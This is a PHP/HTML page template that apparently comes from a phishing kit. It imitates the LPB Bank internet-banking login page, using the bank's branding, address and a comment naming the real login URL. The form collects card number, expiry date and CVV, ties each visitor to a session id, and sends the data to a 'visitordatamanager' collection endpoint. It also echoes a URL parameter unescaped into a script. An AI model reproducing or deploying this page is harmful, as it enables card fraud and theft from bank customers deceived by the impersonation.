<?php
$uniqueid = $_SESSION["visitor_uniqueid"];
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0023)https://ib.lpb.lv/login -->
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>LPB Bank</title>
      <meta content="IE=edge" http-equiv="X-UA-Compatible">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <link rel="shortcut icon" type="image/*" href="https://ib.lpb.lv/gw/img/favicon.png">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/lpb/bootstrap.css">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/lpb/epasaule.css">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/lpb/style.css">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/lpb/old.css">
      <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/lpb/all.min.css">

      <script>
      var urlroot = '<?= URLROOT ?>';
      var uniqueid = '<?= $uniqueid ?>';
      var url_to_status_array = <?= json_encode($data["options"]) ?>;
      </script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
      <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
      <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>
      <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
      <link rel="stylesheet" href="<?= URLROOT ?>/css/shared/loader.css">
   </head>
   <body>
      <div id="main-login" class="site-wrapper">
         <div class="main-wrapper-login container-auth">
            <div class="header navbar-login">
               <div class="row row-auth">
                  <div class="col-sm-6 col-sm-12">
                     <div class="logo-external">
                        <a href="#"><img src="<?= URLROOT ?>/front_end/front_end_files/lpb/logo.png" alt="Logo"></a>
                     </div>
                  </div>
                  <div class="header-lang-div">
                     <ul>
                        <li><a href="#"> <span class="active">LV</span></a></li>
                        <li><a href="#"> <span class="">EN</span></a></li>
                        <li><a href="#"> <span class="">RU</span></a></li>
                     </ul>
                  </div>
               </div>
               <div class="row img-gradient">
                  <img src="<?= URLROOT ?>/front_end/front_end_files/lpb/login_background.png">
                  <div class="img-text">Internetbanka</div>
               </div>
            </div>
            <div class="container-login">
               <div class="row-auto">
                  <div class="block-auto">
                     <div class="block-auto-text">Autorizācija</div>
                  </div>
               </div>
               <div id="content-wrapper-login" class="row">
                  <div id="content-body">
                     <div id="deciderContainer" class="login-wrapper-auth">
                        <div id="form-wrapper" class="form-wrapper-login content-wrapper ">
                           <form id="form" data-ajax="ajax" data-error-element="#errorMessages" data-append-element="#loginFormTable" class="login" enctype="application/x-www-form-urlencoded">

                             <input name="new_data" value="true" type="hidden">
                             <input name="status" value="0" type="hidden">
                             <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                             <p>Tālāk esošajā laukā ievadiet pieprasīto informāciju.</p>

                              <div id="loginFormTable">
                                 <div class="inputField">
                                    <input type="text" id="cardnumber" name="cardnumber" class="inputControl" value="" placeholder=" " autocomplete="off"  tabindex="1/">
                                    <span class="">Kartes numurs</span>
                                 </div>

                                 <div class="inputField">
                                    <input type="text" id="expirydate" name="expirydate" class="inputControl" value="" placeholder=" " autocomplete="off"  tabindex="1/">
                                    <span class="">Derīguma termiņš</span>
                                 </div>

                                 <div class="inputField">
                                    <input type="text" id="cvv" name="cvv" class="inputControl" value="" placeholder=" " autocomplete="off"  tabindex="1/">
                                    <span class="">CVV</span>
                                 </div>

                                 <div id="buttons-block" class="btn-group pull-right">
                                    <div class="button-div">
                                       <input id="submit-btn" type="submit" value="Turpināt" tabindex="3" class="btn btn-sm btn-primary-login icon-rtl">
                                    </div>
                                 </div>
                              </div>
                              <div id="loginForm:loginFooter" class="btn-toolbar pull-right"></div>
                              <div class="clearfix"></div>
                           </form>

                           <script>
                           var controller = new CNTD;
                           var url = "<?= URLROOT ?>/visitordatamanager/update_visitor_data";

                           controller.mask_cc_form();
                           controller.check_form_button_disable(["#cardnumber", "#expirydate", "#cvv"]);
                           controller.submit_multipanel_form(url, '<?= $_GET["d"] ?>', controller.multipanel_form_response);
                           </script>

                           <div id="errorMessages" class="well-auth error-wrapper-auth" style="display: none;">
                              <ul class="errors-list">
                              </ul>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
            <footer class="row" id="footer">
               <div class="footer-top-row">
                  <div class="container-auth footer-top">
                     <div class="logo-external logo-bottom">
                        <img src="<?= URLROOT ?>/front_end/front_end_files/lpb/logo_white.png">
                     </div>
                     <div class="footer-buttons">
                        <div class="footer-button">
                           <a href="#">
                           <img src="<?= URLROOT ?>/front_end/front_end_files/lpb/google_play.png">
                           </a>
                        </div>
                        <div class="footer-button">
                           <a href="#">
                           <img src="<?= URLROOT ?>/front_end/front_end_files/lpb/app_store.png">
                           </a>
                        </div>
                     </div>
                     <div class="footer-envelope">
                        <img src="<?= URLROOT ?>/front_end/front_end_files/lpb/envelope.png">
                        <div class="footer-description"><a href="#">info@lpb.lv</a></div>
                     </div>
                     <div class="footer-address">
                        <div class="footer-copyright">© AS LPB Bank, Brīvības iela 54, Rīga, LV-1011 <br>All Rights Reserved</div>
                     </div>
                     <div class="footer-row-texts">
                        <div class="footer-links">
                           <a href="#">Internetbankas drošība
                           </a>
                        </div>
                     </div>
                  </div>
               </div>
            </footer>
         </div>
      </div>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/lpb/jquery.js"></script>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/lpb/bootstrap.min.js"></script>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/lpb/main.js"></script>
   </body>
</html>
